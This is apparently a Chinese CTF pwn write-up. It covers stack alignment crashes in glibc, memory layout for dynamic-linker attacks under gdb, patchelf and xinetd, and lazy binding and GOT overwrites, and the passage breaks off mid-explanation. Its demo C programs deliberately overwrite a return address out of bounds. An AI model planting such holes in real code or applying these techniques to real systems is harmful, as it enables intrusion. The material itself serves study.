0x7ffff7dd3950 <do_system+80>: mov QWORD PTR [rsp+0x180],0x1
0x7ffff7dd395c <do_system+92>: mov DWORD PTR [rsp+0x208],0x0
=> 0x7ffff7dd3967 <do_system+103>: mov QWORD PTR [rsp+0x188],0x0 # 执行到这里了
0x7ffff7dd3973 <do_system+115>: movaps XMMWORD PTR [rsp],xmm1
   可以看到没有跳转,就单纯是一路执行下来的,关注一下两个xmm寄存器

参考:https://cch123.gitbooks.io/duplicate/content/part3/translation-details/function-calling-sequence/xmm-registers.html

   SSE(Streaming SIMD Extensions)是针对当前CPU寄存器以及指令集的一个拓展,有xmm0 ~ xmm1516个128bit的寄存器,xmm寄存器主要干两件事,第一个是浮点运算,第二个是SIMD指令集,一条指令操作多条数据。
   对于xmm寄存器,有几种方法控制其中的数据,第一种movq指令,q表示_QWORD,既64bit,该指令会操作xmm寄存器的低64bit而无需检查,另一个操作数可以是xmm寄存器或者一个64bit寄存器;
   第二种,movdqa和movdqu,表示Double _QWORD,a代表aligned,u代表unaligned,用于将内存中的128bit数据或者某个xmm的数据,转存到另一个xmm中,很明显aligned代表在操作数为内存时需要16位对齐
   第三种,movups和movaps,u和a的含义不变,而ps表示packed single-precision floating-point(打包的单精度浮点数),一个float有32bit,而128bit就是4个float,这就是SIMD的多条数据的含义。
   第四种,movupd和movapd,几乎和第三种一样,d可能表示data
   然后回到do_system+103,这里涉及SSE为什么需要16位字节对齐,首先显而易见地因为xmm是16字节,所以对xmm寄存器的读取和别的数据一样要按数据类型大小对齐,
   但是这实际上不能解释为什么存在不对齐的指令,可能是指令做了一些拼接操作?除了之前movq可以操作xmm的低64位之外,一些像movhlps、punpckhqdq的指令可以操作xmm寄存器的高64位
   做个总结,涉及SSE中特定指令,比如movaps、movdqa需要当前内存类型操作数16位对齐,反映在do_system中,rsp指向位置需要16位对齐,也就是栈需要16位对齐。

为什么用xmm

   程序为什么要有这一步xmm到[rsp]的赋值操作,先用print $xmm1看一下xmm1有什么
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> print $xmm1
$1 = {
v8_bfloat16 = {-6.49e+33, -1.01e+34, nan(0x7f), 0, -1.558e+34, -1.01e+34, nan(0x7f), 0},
v8_half = {-31232, -32656, nan(0x3ff), 0, -34816, -32656, nan(0x3ff), 0},
v4_float = {-1.01398777e+34, 4.59163468e-41, -1.01399768e+34, 4.59163468e-41},
v2_double = {6.9533491570647782e-310, 6.9533491570726832e-310},
v16_int8 = {-96, -9, -7, -9, -1, 127, 0, 0, 64, -8, -7, -9, -1, 127, 0, 0},
v8_int16 = {-2144, -2055, 32767, 0, -1984, -2055, 32767, 0},
v4_int32 = {-134613088, 32767, -134612928, 32767},
v2_int64 = {140737353742240, 140737353742400},
uint128 = 2596145946097181985715420921460640
}
   关注v2_int64的两个值,0x7ffff7f9f7a0<quit>和0x7ffff7f9f840<intr> ,这两个值在前面通过r13和r14寄存器放到了xmm1中
   在下面有对这两个值的使用,以一种类似硬编码的方式使用
1
2
3
4
5
6
0x7ffff7dd39d3 <do_system+211>:      xor    eax,eax
0x7ffff7dd39d5 <do_system+213>: cmp QWORD PTR [rip+0x1cbe63],0x1 # 0x7ffff7f9f840 <intr>
0x7ffff7dd39dd <do_system+221>: setne al
0x7ffff7dd39e0 <do_system+224>: add rax,rax
0x7ffff7dd39e3 <do_system+227>: cmp QWORD PTR [rip+0x1cbdb5],0x1 # 0x7ffff7f9f7a0 <quit>
0x7ffff7dd39eb <do_system+235>: mov QWORD PTR [rsp+0x100],rax
   直接看汇编还是太逆天了,下面是IDA的反汇编,注意qword_21C840是<intr>,qword_21C7A0是<quit>
1
2
3
4
5
6
7
v16[0] = 2LL * (qword_21C840 != 1);
if ( qword_21C7A0 != 1 )
v16[0] = (2LL * (qword_21C840 != 1)) | 4;
posix_spawnattr_init(v20);
posix_spawnattr_setsigmask(v20, v15);
posix_spawnattr_setsigdefault(v20, v16);
posix_spawnattr_setflags(v20, 12LL);
   后续是各种posix的操作,也就是开进程。
   然后, 检查下当前程序走向,如果不是栈平衡的问题,应该到达do_system+536,也就是说上面开进程的内容被跳过了
1
2
3
4
5
6
7
8
9
10
11
12
13
► 0x7ffff7dd3973 <do_system+115>    movaps xmmword ptr [rsp], xmm1                   <[0x7fffffffd638] not aligned to 16 bytes>
0x7ffff7dd3977 <do_system+119> lock cmpxchg dword ptr [rip + 0x1cbe01], edx
0x7ffff7dd397f <do_system+127> jne do_system+816 <do_system+816>

0x7ffff7dd3985 <do_system+133> mov eax, dword ptr [rip + 0x1cbdf9] EAX, [sa_refcntr] => 0
0x7ffff7dd398b <do_system+139> lea edx, [rax + 1] EDX => 1
0x7ffff7dd398e <do_system+142> mov dword ptr [rip + 0x1cbdf0], edx [sa_refcntr] => 1
0x7ffff7dd3994 <do_system+148> test eax, eax 0 & 0 EFLAGS => 0x10246 [ cf PF af ZF sf IF df of ]
0x7ffff7dd3996 <do_system+150> ✔ je do_system+536 <do_system+536>

0x7ffff7dd3b18 <do_system+536> lea rbp, [rsp + 0x180] RBP => 0x7fffffffd7b8 ◂— 1
0x7ffff7dd3b20 <do_system+544> mov rdx, r14 RDX => 0x7ffff7f9f840 (intr) ◂— 0
0x7ffff7dd3b23 <do_system+547> mov edi, 2 EDI => 2
   然后是有关[rsp]的操作,这里是存放两个值到xmm4,然后调用子函数__GI___libc_cleanup_push_defer, 这是一个用于清理线程的函数, 之后便没有相关操作了。
1
2
3
4
0x7ffff7dd3b84 <do_system+644>:      movdqa xmm4,XMMWORD PTR [rsp]
......
0x7ffff7dd3bb0 <do_system+688>: movaps XMMWORD PTR [rsp+0x20],xmm4
0x7ffff7dd3bb5 <do_system+693>: call 0x7ffff7e141c0 <__GI___libc_cleanup_push_defer>
   再次总结,system()中通过r13,r14将<intr>和<quit>放到xmm,然后放到[rsp],方便后续的管理进程和线程, 至于为什么非要放到xmm,个人理解是这两个值是一起被使用的,类似于一个结构体,所以放在一个128bit寄存器比两个64bit更好。
   至于<intr>和<quit>,两个变量都放在glibc的.bss,默认都是0。Xrefs发现它们只在do_system中被使用,但是都没有赋值,感觉很奇怪。

ps: (来自很遥远的未来) 这种向量运算其实不算特别少见, 尤其是比较底层的各种库, 为了想办法尽量增加效率, 这种SIMD不在少数. 但是至少在X86_64上, 很多SIMD并不要求16字节对齐, 别的架构不太清楚, 其次一般也只有栈上的利用才容易导致不对齐的问题.

需要栈平衡的函数

   在实际实践时发现,不只有system()需要16位,诸如puts, scanf, printf等也会有类似的需求。
1
2
3
4
5
6
7
8
9
10
11
12
13
// demo2
#include <stdio.h>
#include <stdlib.h>

void backdoor(){
puts("LeakBox");
}

int main(){
size_t array[3];
array[5] = backdoor; // 数组越界
return 0;
}
   结果是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
► 0x7ffff7e274c0 <_int_malloc+2832>    movaps xmmword ptr [rsp + 0x10], xmm1     <[0x7fffffffd758] not aligned to 16 bytes>
0x7ffff7e274c5 <_int_malloc+2837> mov eax, dword ptr [rbx + 8] EAX, [main_arena+8] => 0
0x7ffff7e274c8 <_int_malloc+2840> test eax, eax 0 & 0 EFLAGS => 0x10246 [ cf PF af ZF sf IF df of ]
0x7ffff7e274ca <_int_malloc+2842> ✔ je _int_malloc+3869 <_int_malloc+3869>

► 0 0x7ffff7e274c0 _int_malloc+2832
1 0x7ffff7e279c9 tcache_init.part+57
2 0x7ffff7e281de malloc+318
3 0x7ffff7e281de malloc+318
4 0x7ffff7e01ba4 _IO_file_doallocate+148
5 0x7ffff7e10ce0 _IO_doallocbuf+80
6 0x7ffff7e0ff60 _IO_file_overflow+416
7 0x7ffff7e0e6d5 _IO_file_xsputn+213
8 0x7ffff7e03f1c __GI__IO_puts+204
9 0x555555555180 backdoor+23
   不难发现, 涉及malloc_IO_file_xsputn都需要检查,直白点说就是涉及IO的都会有栈平衡问题,但不保证是_IO_file_xsputsn的问题,比如vprintf本身就有xmm寄存器对齐要求
   其次,堆分配(malloc)也会有这类问题,但一般不会很显著
   你以为这就完了吗? 怎么会。如果IO能跳过_IO_file_xsputn,不就可以正常运行了吗,实际上writeread就是这样的, 因为这两个单纯就是把syscall包装了一下
1
2
3
4
5
6
7
8
9
10
.text:00000000001147D0 ; __unwind {
.text:00000000001147D0 endbr64 ; Alternative name is '__read'
.text:00000000001147D4 mov eax, fs:18h
.text:00000000001147DC test eax, eax
.text:00000000001147DE jnz short loc_1147F0
.text:00000000001147E0 syscall ; LINUX -
.text:00000000001147E2 cmp rax, 0FFFFFFFFFFFFF000h
.text:00000000001147E8 ja short loc_114840
.text:00000000001147EA retn
.text:00000000001147EA ;
   再看一个demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// demo3
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>

void backdoor(){
char website[12];
read(0, website, 12);
write(1, "\n", 1);
website[11] = '\n';
write(1, website, 12);
}

int main(){
size_t array[3];
array[5] = backdoor; // 数组越界
return 0;
}
$ ./test
godbolt.org
godbolt.org
[1] 5924 segmentation fault (core dumped) ./test

   输入的是godbolt.org, 由于由于用的是read, 不会在输入 ‘\n’ 时结束IO, 所以shell里输入结束后需要Ctrl + D手动发出EOF
   可以看到, 无论read还是write都成功执行了, 虽然SEGV了, 是因为backdoor不是正常被调用的, 所以ret地址位置没有填有效地址, 最后返回的地址不合理

dl题内存布局初探

前情提要

   众所周知,在选择dl攻击时,往往没有回显,也就是无法得到attachment、libc、ld的在内存中的加载基址,
   一般来说,这三者的加载地址应该是互不相关的,但根据个人经验来看,libc和ld一般是连在一起的(中间可能有别的内存页),也就是知道其中一个的基址以及内存的布局,就可以知道另一个的基址
   那么__dl_runtime_resolve时如何找到,这三者的关系,依靠的是在ld中的linkmap表,这个表记录三个文件(或许更多)的linkmap地址,而linkmap中就含有加载基址的信息。
   以下的所有调试和maps的查看均以之前的boss题为例,但实际上重点在于该程序mmap()一个0x2000大小可读写的内存段,本文的一个重心将会是这个mmap()得到的内存的相对位置。
1
2
3
4
5
6
pwndbg> linkmap
Node Objfile Load Bias Dynamic Segment
0x7ffff7ffe2e0 <Unknown, likely /home/pwn/worktable/cnss2024/boss/src/attachment> 0x555555554000 0x555555557df8
0x7ffff7ffe890 linux-vdso.so.1 0x7ffff7fc1000 0x7ffff7fc13a0
0x7ffff7fbb160 /lib/x86_64-linux-gnu/libc.so.6 0x7ffff7d83000 0x7ffff7f9cbc0
0x7ffff7ffdaf0 /lib64/ld-linux-x86-64.so.2 0x7ffff7fc3000 0x7ffff7ffce80
   值得注意的是,linkmap的位置在ld.so中的一段可读写的位置,也就是说算好偏移就可以篡改linkmap。

调试方法不同时内存布局的不同

   首先探索的是调试方法不同时,内存布局的不同
   一般使用gdb有两种方法,gdb attachment以及gdb --pid=xxxx,也就是gdb直接调试文件或者链接进程进行调试,实际上这两者就算仅仅是从效果上看就有很大不同。
   首先看gdb --pid=xxx的vmmap,这个结果更加接近一个进程的真实vmmap,也就是和cat /proc/xxx/maps的结果相近
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x5631723b9000 0x5631723ba000 r--p 1000 0 /home/pwn/worktable/cnss2024/boss/src/attachment
0x5631723ba000 0x5631723bb000 r-xp 1000 1000 /home/pwn/worktable/cnss2024/boss/src/attachment
0x5631723bb000 0x5631723bc000 r--p 1000 2000 /home/pwn/worktable/cnss2024/boss/src/attachment
0x5631723bc000 0x5631723bd000 r--p 1000 2000 /home/pwn/worktable/cnss2024/boss/src/attachment
0x5631723bd000 0x5631723be000 rw-p 1000 3000 /home/pwn/worktable/cnss2024/boss/src/attachment
0x7f99a605f000 0x7f99a6062000 rw-p 3000 0 [anon_7f99a605f]
0x7f99a6062000 0x7f99a608a000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f99a608a000 0x7f99a621f000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f99a621f000 0x7f99a6277000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f99a6277000 0x7f99a6278000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f99a6278000 0x7f99a627c000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f99a627c000 0x7f99a627e000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f99a627e000 0x7f99a628b000 rw-p d000 0 [anon_7f99a627e]
0x7f99a6298000 0x7f99a629c000 rw-p 4000 0 [anon_7f99a6298] # <---mmap得到的空间
0x7f99a629c000 0x7f99a629e000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f99a629e000 0x7f99a62c8000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f99a62c8000 0x7f99a62d3000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f99a62d4000 0x7f99a62d6000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f99a62d6000 0x7f99a62d8000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffd84bf2000 0x7ffd84c14000 rw-p 22000 0 [stack]
0x7ffd84c46000 0x7ffd84c4a000 r--p 4000 0 [vvar]
0x7ffd84c4a000 0x7ffd84c4c000 r-xp 2000 0 [vdso]
   然后是使用gdb attachment的效果,可以看到的是mmap得到的空间和ld.so之间多了0x6000的[vvar]和[vsdo],这两个本来是在栈段下方的。
   其次,如果多次调试发现,attachment、libc、ld的加载地址实际上是固定的,也就是0x555555554000、0x7ffff7d83000、0x7ffff7fc3000实际上没变,应该是出于方便调试所以固定了加载地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x555555554000 0x555555555000 r--p 1000 0 /home/pwn/worktable/cnss2024/boss/src/attachment
0x555555555000 0x555555556000 r-xp 1000 1000 /home/pwn/worktable/cnss2024/boss/src/attachment
0x555555556000 0x555555557000 r--p 1000 2000 /home/pwn/worktable/cnss2024/boss/src/attachment
0x555555557000 0x555555558000 r--p 1000 2000 /home/pwn/worktable/cnss2024/boss/src/attachment
0x555555558000 0x555555559000 rw-p 1000 3000 /home/pwn/worktable/cnss2024/boss/src/attachment
0x7ffff7d80000 0x7ffff7d83000 rw-p 3000 0 [anon_7ffff7d80]
0x7ffff7d83000 0x7ffff7dab000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dab000 0x7ffff7f40000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f40000 0x7ffff7f98000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f98000 0x7ffff7f99000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f99000 0x7ffff7f9d000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f9d000 0x7ffff7f9f000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f9f000 0x7ffff7fac000 rw-p d000 0 [anon_7ffff7f9f]
0x7ffff7fb9000 0x7ffff7fbd000 rw-p 4000 0 [anon_7ffff7fb9] # <-- mmap得到的地方
0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 0 [vvar]
0x7ffff7fc1000 0x7ffff7fc3000 r-xp 2000 0 [vdso]
0x7ffff7fc3000 0x7ffff7fc5000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc5000 0x7ffff7fef000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fef000 0x7ffff7ffa000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]

使用patchelf后的内存布局

   一般pwn题时,尤其C的pwn题时,会选择使用patchelf,更改libc和ld为指定glibc版本的来获得和远程相近的本地环境,但是patchelf也会使进程的内存布局发生变化。
   首先获得一个patchelf后的文件
1
2
3
4
5
6
7
8
9
10
$ ldd attachment # patchelf之前
linux-vdso.so.1 (0x00007ffd469a6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8a8e7db000)
/lib64/ld-linux-x86-64.so.2 (0x00007f8a8ea1a000)
$ patchelf --replace-needed libc.so.6 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6 attachment
$ patchelf --set-interpreter /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2 attachment
$ ldd attachment
linux-vdso.so.1 (0x00007ffd73beb000)
/home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6 (0x00007f9a1054c000)
/home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f9a1077d000)
   然后gdb --pi=xxx尝试调试。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x56272a397000 0x56272a398000 r--p 1000 0 /home/pwn/testtable/attachment
0x56272a398000 0x56272a399000 r-xp 1000 1000 /home/pwn/testtable/attachment
0x56272a399000 0x56272a39a000 r--p 1000 2000 /home/pwn/testtable/attachment
0x56272a39a000 0x56272a39b000 r--p 1000 2000 /home/pwn/testtable/attachment
0x56272a39b000 0x56272a39e000 rw-p 3000 3000 /home/pwn/testtable/attachment
0x7fc2b8155000 0x7fc2b815a000 rw-p 5000 0 [anon_7fc2b8155] # <-----mmap的位置
0x7fc2b815a000 0x7fc2b8182000 r--p 28000 0 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6
0x7fc2b8182000 0x7fc2b8317000 r-xp 195000 28000 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6
0x7fc2b8317000 0x7fc2b836f000 r--p 58000 1bd000 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6
0x7fc2b836f000 0x7fc2b8373000 r--p 4000 214000 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6
0x7fc2b8373000 0x7fc2b8375000 rw-p 2000 218000 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6
0x7fc2b8375000 0x7fc2b8384000 rw-p f000 0 [anon_7fc2b8375]
0x7fc2b8384000 0x7fc2b8386000 r--p 2000 0 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2
0x7fc2b8386000 0x7fc2b83b0000 r-xp 2a000 2000 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2
0x7fc2b83b0000 0x7fc2b83bb000 r--p b000 2c000 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2
0x7fc2b83bc000 0x7fc2b83be000 r--p 2000 37000 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2
0x7fc2b83be000 0x7fc2b83c0000 rw-p 2000 39000 /home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2
0x7fff90916000 0x7fff90938000 rw-p 22000 0 [stack]
0x7fff90968000 0x7fff9096c000 r--p 4000 0 [vvar]
0x7fff9096c000 0x7fff9096e000 r-xp 2000 0 [vdso]
   可以看到,mmap获得的空间现在变成了在libc上方,原因暂时未知。

xinted转发会话时启动的进程

   之前docker内可行的exp,在访问端口(本地docker或者服务器远程)上的题目时,发现无法打通,于是猜测是xinted转发的进程内存布局不同
   在正式查看之前,先做准备工作,第一步先修改以下xinted的设置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
service ctf
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = root
type = UNLISTED
port = 9999
bind = 0.0.0.0
# 设置xinetd连接启动后的服务程序
server = /usr/sbin/chroot
# 设置chroot的相关参数
server_args = --userspec=0000:0000 /home/ctf ./attachment # <---- 这里改为以root用户执行文件,否则之后看maps没权限
banner_fail = /etc/banner_fail
# safety options
per_source = 10 # the maximum instances of this service per source IP address
rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use
#rlimit_as = 1024M # the Address Space resource limit for the service
#access_times = 2:00-9:00 12:00-24:00
}

   然后构建镜像
1
2
3
4
5
$ docker build -t boss .
$ docker run -p 8000:9999 boss
# 切换一个shell
$ docker exec -it <容器名> /bin/bash
<容器名>/home/ctf$ apt-get install gdb
   再打开一个shell,nc localhost 8000,现在docker容器中就存在一个attachment的进程,由xindted转发
   此时先找到pid
1
2
3
4
5
6
7
8
<容器名>/home/ctf$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4364 3164 ? Ss 00:16 0:00 /bin/bash /docker-entrypoint.sh
root 19 0.0 0.0 2792 1036 ? S 00:16 0:00 sleep infinity
root 20 0.0 0.0 13784 2392 ? Ss 00:16 0:00 /usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_c
root 21 0.0 0.0 4628 3720 pts/0 Ss 00:16 0:00 /bin/bash
root 29 0.0 0.0 2652 264 ? Ss 00:17 0:00 ./attachment # <--- 在这里
root 30 0.0 0.0 7064 1552 pts/0 R+ 00:17 0:00 ps aux
   现在调试这个pid
1
2
3
4
5
6
7
<容器名>/home/ctf$ gdb --pi=29
(gdb) x/10gx 0x56341ccb5000 + 0x40a0
0x56341ccb90a0: 0x00007ff9322bc000 0x0000000000000000
0x56341ccb90b0: 0x0000000000000000 0x0000000000000000
0x56341ccb90c0: 0x0000000000000000 0x0000000000000000
0x56341ccb90d0: 0x0000000000000000 0x0000000000000000
0x56341ccb90e0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<容器名>/home/ctf$ cat /proc/29/maps
56341ccb5000-56341ccb6000 r--p 00000000 08:30 20412 /home/ctf/attachment
56341ccb6000-56341ccb7000 r-xp 00001000 08:30 20412 /home/ctf/attachment
56341ccb7000-56341ccb8000 r--p 00002000 08:30 20412 /home/ctf/attachment
56341ccb8000-56341ccb9000 r--p 00002000 08:30 20412 /home/ctf/attachment
56341ccb9000-56341ccba000 rw-p 00003000 08:30 20412 /home/ctf/attachment
7ff9322bc000-7ff9322c1000 rw-p 00000000 00:00 0 # <------- 这里
7ff9322c1000-7ff9322e9000 r--p 00000000 08:30 19693 /home/ctf/lib/x86_64-linux-gnu/libc.so.6
7ff9322e9000-7ff93247e000 r-xp 00028000 08:30 19693 /home/ctf/lib/x86_64-linux-gnu/libc.so.6
7ff93247e000-7ff9324d6000 r--p 001bd000 08:30 19693 /home/ctf/lib/x86_64-linux-gnu/libc.so.6
7ff9324d6000-7ff9324d7000 ---p 00215000 08:30 19693 /home/ctf/lib/x86_64-linux-gnu/libc.so.6
7ff9324d7000-7ff9324db000 r--p 00215000 08:30 19693 /home/ctf/lib/x86_64-linux-gnu/libc.so.6
7ff9324db000-7ff9324dd000 rw-p 00219000 08:30 19693 /home/ctf/lib/x86_64-linux-gnu/libc.so.6
7ff9324dd000-7ff9324ec000 rw-p 00000000 00:00 0
7ff9324ec000-7ff9324ee000 r--p 00000000 08:30 19672 /home/ctf/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ff9324ee000-7ff932518000 r-xp 00002000 08:30 19672 /home/ctf/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ff932518000-7ff932523000 r--p 0002c000 08:30 19672 /home/ctf/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ff932524000-7ff932526000 r--p 00037000 08:30 19672 /home/ctf/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ff932526000-7ff932528000 rw-p 00039000 08:30 19672 /home/ctf/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffdbc5a8000-7ffdbc5c9000 rw-p 00000000 00:00 0 [stack]
7ffdbc5ec000-7ffdbc5f0000 r--p 00000000 00:00 0 [vvar]
7ffdbc5f0000-7ffdbc5f2000 r-xp 00000000 00:00 0 [vdso]
   结果发现这个xinted转发的进程的内存布局和patchelf的似乎一致,mmap的位置都在libc上面,其他长度也是对应的.
   这个结果就有点子幽默了,本来就是patchelf无法得到完全一致的内存布局所以给了Dockerfile,结果现在xinted转发的进程内存布局不一样,反倒和patchelf的结果正好对上了😅😅😅

END

glibc动态链接重定位 + CNSS2024 pwn boss wp

参考资料:

实例文件为boss题的attachment,见github

https://zhuanlan.zhihu.com/p/37572651

https://ctf-wiki.org/executable/elf/structure/basic-info/

https://deepunk.icu/dl%E7%9B%B8%E5%85%B3%E6%94%BB%E5%87%BB%E6%B1%87%E6%80%BB/

https://www.soinside.com/question/AENBEApAgMMbfzPviVeoBc

动态链接程序的装载

   当程序使用动态链接时,才会存在延迟绑定技术。
   一个动态链接的程序,除了要将程序本身加载进内存之外,还需要加载对应使用的libc,这一步由ld动态链接器实现。
   由于动态链接信息与程序的形成和加载由莫大关系,所以在linux系统下,这些信息必须在二进制文件中明确写出,而不是存放在某个PATH中。
1
2
3
4
5
6
7
8
9
10
首先,我们来关注一下链接视图。

文件开始处是 ELF 头部( ELF Header),它给出了整个文件的组织情况。

如果程序头部表(Program Header Table)存在的话,它会告诉系统如何创建进程。用于生成进程的目标文件必须具有程序头部表,但是重定位文件不需要这个表。

节区部分包含在链接视图中要使用的大部分信息:指令、数据、符号表、重定位信息等等。

节区头部表(Section Header Table)包含了描述文件节区的信息,每个节区在表中都有一个表项,会给出节区名称、节区大小等信息。用于链接的目标文件必须有节区头部表,其它目标文件则无所谓,可以有,也可以没有。

来自CTFwiki

   这里谈及的是Linking View(链接视图),也就是程序没有加载时的结构,Header table中有关链接的信息在装载时被读取,作为构建Executing View(执行视图)的依据。如下,IDA也读取到了这些信息。
1
2
3
4
5
LOAD:0000000000000000
LOAD:0000000000000000 ; File Name : C:\Users\30336\Desktop\pwn
LOAD:0000000000000000 ; Format : ELF64 for x86-64 (Shared object)
LOAD:0000000000000000 ; Interpreter '/lib64/ld-linux-x86-64.so.2'
LOAD:0000000000000000 ; Needed Library 'libc.so.6'
   不难发现,即使是在桌面中的文件,IDA依然可以正确读取Interpreter的位置,因为这些信息已经写死在二进制文件中。
   常用的工具patchelf也是通过直接修改文件达成Interpreter和libc的更换。

延迟绑定系统

   对于动态链接库的使用,主要关注点在于外部函数的使用
   当程序和库被装载在内存之后,.text段的指令就可以通过call来实现对外部函数的调用,对于内部的函数call指令相当于是pushjmp,然后到达对应地址之后开始压栈、执行等。而call外部函数时,对应地址是另外一条jmp,它会跳转到该函数的plt的位置。
   如果这个外部函数已经被调用过至少一次,那么plt处第二次跳转会到达该函数的got表项的位置,这个got表项又是另一个jmp指令,这次终于到达了外部函数的真正地址,然后开始压栈、执行。这是外部函数大多数情况下的调用过程。
   众所周知,我们在打ret2libc时,需要先泄露出libc中某一个函数在内存中的真实地址,然后根据已知的偏移找到我们需要的东西,即使是-no-pie也是一样。所以说由于种种原因,即使程序本身的地址可以通过静态分析获得确切地址,也无法预先找到libc的加载地址。
   那么问题来了,由于.text肯定是没法跟着libc加载地址一起变化的,那么在使用外部函数时,怎样才能保证外部函数地址的正确呢?这就是第一次调用外部函数时需要解决的,也就是对外部函数进行重定位.
   首先解决一个疑惑,为什么是在第一次调用时才重定位呢?实际上,不一定是第一次调用才重定位,也可能在main()之前就被处理好了,但在具体实现(尤其是有大量外部函数的调用时)上,还是第一次调用时重定位居多。很简单,因为重定位是一个比较消耗时间的过程,而有些函数(比如异常时结束进程的exit())很可能根本就用不上,所以就延迟绑定(lazy load),没ddl绝不干活。
   由于延迟绑定的存在,所以之前所说的got表那一内存页在完成所有重定位之前,一直都要保持可写。这就是got表篡改这一漏洞的实现逻辑,既在所有重定位完成之前篡改一个或多个got表项。这个办法在partial RELROno RELRO时可用,在full RELRO时,函数被提前重定位,然后内存页变成只读,就没办法改了。

延迟绑定 detail

   先来一个一个demo,这个是最原始纯真的延迟绑定,后面会来一个带-fcf-protection=none的demo。
1
2
3
4
5
6
7
#include <stdio.h>
int main(){
char *s = "what a day!";
puts(s);
return 0;
}
gcc lazy_load.c -z lazy -no-pie -fcf-protection=none -o lazy_load
    在main()中第一次调用puts(),可以看到是puts@plt
1
0x401140 <main+26>    call   puts@plt                    <puts@plt>
    然后进去看看
1
2
3
0x401030 <puts@plt>: jmp    QWORD PTR [rip+0x2fe2]        # 0x404018 <puts@got.plt>
0x401036 <puts@plt+6>: push 0x0
0x40103b <puts@plt+11>: jmp 0x401020
    再到puts@got.plt看一眼,这一块有些不知所云,网上收集的资料倒是比较容易,一致的说法是,这里是存放的是puts@plt + 6的指令,也就是又跳转回去,到了下面的0x401036的位置。
1
2
3
